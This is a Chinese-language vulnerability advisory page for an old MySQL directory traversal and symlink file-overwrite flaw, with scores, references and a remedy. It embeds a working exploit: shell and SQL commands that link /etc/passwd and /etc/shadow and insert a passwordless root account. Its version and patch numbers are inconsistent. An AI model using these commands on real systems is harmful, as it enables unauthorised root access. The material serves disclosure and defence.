发布时间 :2001-06-27 00:00:00
修订时间 :2017-10-09 21:29:42

[原文]Directory traversal vulnerability in MySQL before 3.23.36 allows local users to modify arbitrary files and gain privileges by creating a database whose name starts with .. (dot dot).


        MySQL 3.23.36版本存在目录遍历漏洞。本地用户通过创建名字以 .. (点 点)开始的数据库修改任意文件和提升特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  BUGTRAQ  20010318 potential vulnerability of mysqld running with root privileges (can be used as good DoS or r00t expoloit)
(VENDOR_ADVISORY)  BUGTRAQ  20010327 MySQL 3.23.36 is relased (fwd)
(UNKNOWN)  BID  2522
(UNKNOWN)  XF  mysql-dot-directory-traversal(6617)

- 漏洞信息

中危 路径遍历
2001-06-27 00:00:00 2006-03-28 00:00:00
        MySQL 3.23.36版本存在目录遍历漏洞。本地用户通过创建名字以 .. (点 点)开始的数据库修改任意文件和提升特权。

- 公告与补丁

        Updates available:
        MySQL AB MySQL 3.23.34

- 漏洞信息 (20718)

MySQL 3.20.32 a/3.23.34 Root Operation Symbolic Link File Overwriting Vulnerability (EDBID:20718)
unix local
2001-03-18 Verified
0 lesha
N/A [点击下载]

MySQL is a relational database management system (RDBMS), freely available and open source. It is maintained by MySQL AB.

A problem with the implementation of some MySQL databases may permit local users to overwrite sensitive system files. This problem affects MySQL implementations that run the database under the uid of root. By using a symbolic link in the /var/tmp directory, and linking it to a file that is write-accesible by root, a user can log into the database with their account, and create a table with a name corresponding to that of the symbolic link. The creation of the table will overwrite the linked file, and any data created within the table will be written to the file that has been symbolically linked. This is dependent entirely upon the attacker having a MySQL account with the "create table" privilege.

Therefore, it is possible for a local user to overwrite sensitive system files, and potentially gain elevated privileges, including administrative access.

$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');

- 漏洞信息

MySQL Database Name Traversal Arbitrary File Modification
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-03-18 Unknow
2001-03-18 Unknow

- 解决方案

Upgrade to version 3.23.38 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete